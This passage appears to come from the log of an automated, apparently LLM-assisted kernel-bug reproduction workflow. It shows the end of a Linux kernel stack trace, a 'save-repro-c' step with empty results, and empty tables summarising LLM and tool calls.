 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>
]

259/1 2026/09/04 10:42 action save-repro-c
0m Results:
map[]

LLM Calls Summary:
Total Calls Total Tokens Avg Tokens Total Duration (Seconds) Avg Duration (Seconds)
Tool Calls Summary:
Total Calls Total Duration (Seconds) Avg Duration (Seconds)